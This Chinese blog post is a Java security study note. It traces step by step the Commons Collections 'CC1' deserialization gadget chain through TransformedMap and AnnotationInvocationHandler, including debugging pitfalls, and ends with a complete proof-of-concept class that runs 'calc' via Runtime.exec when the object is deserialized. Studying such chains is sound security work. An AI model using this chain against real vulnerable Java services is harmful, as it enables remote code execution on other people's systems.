Java安全学习笔记(二)

前言

最近在看p牛的Java安全漫谈反序列化篇,详细分析了CommonsCollections 这条链。

环境

​ jdk 版本 <=8u70

​ Apache Commons Collections <= 3.2.1

CommonsCollections 分析

先给出完整的利用链

Transformer[] transformers = new Transformer[]{
		new ConstantTransformer(Runtime.class),
		new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
		new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
		new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformer);

Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);
UnSerializ(Serializ(o));
利用点

从利用点开始分析

InvokerTransformer->transform

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
    }

这个方法可以实现任意方法执行,通过传入一个对象,然后反射调用该对象的方法执行,通过查看该对象的构造方法,发现方法名、参数名可控。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

​ 接下来通过该对象执行命令

Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
image-20220603145341364
寻找利用链

刚刚是我自己调用了transform方法,接下来来看看有哪个方法中调用了transform

点进transform方法,find Usages查看引用。

image-20220603154636505

上面的21处都引用了transform方法,LazyMapTransformedMap类都能可以利用,这里选择TransformedMap进行进一步利用。

image-20220603155151642

TransformedMap类中checkSetValue方法调用了transform方法。

接下来看看什么地方引用了checkSetValue方法。

TransformedMap的父类AbstractInputCheckedMapDecorator找到 MapEntry 类的setValue中调用了checkSetValue

image-20220603160427127

怎么去执行这个setValue呢?

每个Entry其实就是每个(key,value),通过for(Map.Entry entry:transformedMap.entrySet())去遍历每个Enety,就可以调用setValue方法,然后就会执行checkSetValue,进而调用transform方法执行命令。

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

for(Map.Entry entry:transformedMap.entrySet()){
    entry.setValue(runtime);
}
image-20220603164002135

目前为止,我们可以通过setValue方法设置map的值来触发命令执行。我们都知道反序列化会自动执行readObject方法,我们去查找哪个类的readObject方法引用了setValue方法。

image-20220603164406933

有34处引用了setValue方法,看看有没有readObject方法引用setValue方法。

AnnotationInvocationHandler类中的readObject方法调用了setValue。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
image-20220603165145090

看看这个类的构造方法

image-20220603165308888

发现需要传入两个参数,一个需要传入一个注解,另一个个可以控制memberValues属性,而恰好就是通过该属性调用了setValue方法,这就很棒。

接下来创建该对象

Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);

该类比较特殊,需要通过反射才能拿到,传入的是一个Override注解,这个注解在后面会有一个坑,待会调试后再来调整。

接下来对最终的AnnotationInvocationHandler对象进行序列化,然后再将其反序列化,看看是否可以成功执行刚刚构造的InvokerTransformer->transform

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class, transformedMap);

// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(o);

System.out.println(barr);

// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream stream = new ObjectInputStream(bais);
stream.readObject();
image-20220604095807168

发现执行后,只输出了序列化后的数据,并没有执行到命令,接下来打个断点进行调试下。

image-20220604095958330

这里有个坑,就是断点打在上面这条语句是断不到的。

image-20220604103844681
image-20220604105025026

执行readObject方法的过程中,需要满足一个条件 memberType != null, 调试中memberType的值为null

那么要怎么才能满足这个条件呢?

因为看源码比较绕,通过看p牛的文章结合自己的思考,直接给出条件。

  1. 在对AnnotationInvocationHandler初始化的时候,第一个参数需要传入一个注解,这个注解当中要有变量,对map进行赋值,它的key 要跟注解当中的变量同名。

    String name = memberValue.getKey();  // 拿到map的键名
    Class<?> memberType = memberTypes.get(name); // 在通过键名在注解中进行查找
    

最开始,传入的是Override.class

Object o = constructor.newInstance(Override.class, transformedMap);
image-20220604112151199

里面并没有定义任何变量,在Retention,发现一个value

image-20220604112241176

接下来将Override.class替换成Retention.class

Map的的键名改成value

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);


Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);

再次进行调试

image-20220604112708609

可以发现memberType 已经不为空。

当我再次进行反序列化的时候,却报了个错

image-20220604113311334

说的是exec 这个方法 在class sun.reflect.annotation.AnnotationTypeMismatchExceptionProxy不存在。

原因是Runtime 这个类并没有实现序列化接口,不能够直接进行序列化,需要进行反射调用。

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer transformer = new ChainedTransformer(transformers);

接下来,涉及到关键的三个类ChainedTransformer ConstantTransformer InvokerTransformer

ChainedTransformer

构造方法

image-20220601152905470

构造方法的作用很简单,就是接收一个transformer数组,然后将该数组赋值给了类属性this.iTransformers。

transformer方法

image-20220601153148440

这个方法的作用是遍历传入的transformer数组,里面保存的都是实现了transformer接口的对象,会挨个调用每个对象tranform方法,并且第一次调用后会将返回的结果作为下一个对象的参数再次调用。(放一张p牛的图)

image-20220601160510943
ConstantTransformer类

构造方法 和 transform方法

image-20220601164333811

这个类的构造方法会接收一个对象,并且将该对象赋值给this.iConstant,调用 transform方法就会返回该对象。上面代码传入的是Runtime.getRuntime()。执行transform方法后将得到一个Runtime类的实例。

InvokerTransformer类

构造方法

image-20220601171335637

transform方法

image-20220601171408141

这个方法的功能是传入一个对象,然后通过反射拿到这个对象的类,在通过类拿到和方法名、参数类型拿到这个方法,在调用该方法。简单来说就是通过传入一个对象拿到指定方法,传指定参数进行调用,并且对象、方法名、参数都可控。

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})

再回过头看看刚刚的代码

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer transformer = new ChainedTransformer(transformers);

只需要执行new ChainedTransformer(transformers).transform,就会将transformers数组中的四个对象链接起来,最后执行命令。

// new ConstantTransformer(Runtime.class)
Class input = Runtime.class;

// new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
Class cls = input.getClass();
Method getMethod = cls.getMethod("getMethod", new Class[]{String.class, Class[].class});
Object getRuntime = getMethod.invoke(input, new Object[]{"getRuntime",null});

// new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
Class cls1 = getRuntime.getClass();
Method invoke = cls1.getMethod("invoke", new Class[]{Object.class, Object[].class});
Object invoke1 = invoke.invoke(getRuntime, new Object[]{null, null});

// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Class<?> cls2 = invoke1.getClass();
Method exec = cls2.getMethod("exec", new Class[]{String.class});
exec.invoke(invoke1,"calc");

用最笨的办法将上面的语句连接起来执行,最后成功执行了命令。

有点像俄罗斯套娃,利用反射获取反射。

完整利用链

至此,一个完整的CC1利用链就构造完成了。

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer transformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<Object, Object>();
        map.put("value", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformer);
        
        Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class, transformedMap);
        UnSerializ(Serializ(o));
        
    }

    // 序列化
    public static ByteArrayOutputStream Serializ(Object o) throws Exception {
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(barr);
        outputStream.writeObject(o);
        return barr;
    }

    // 反序列化
    public static void UnSerializ(ByteArrayOutputStream baos) throws Exception {
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}

总结

这条链对于我这种Java安全新手来说确实还是有很大难度,因为是第一次分析反序列化链条,后序还有很多链条会分析,所以就详细分析cc1,为之后分析打好基础,也陆陆续续分析了几天,踩了很多的坑,看了很多人的博客,理清楚每个知识点。其实这个过程还是很有意思的,再把整个过程总结出来,更能发现那些地方没搞懂。

参考文章&视频

https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p

Java安全漫谈反序列化篇4

https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.1007.top_right_bar_window_history.content.click(流程清晰)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值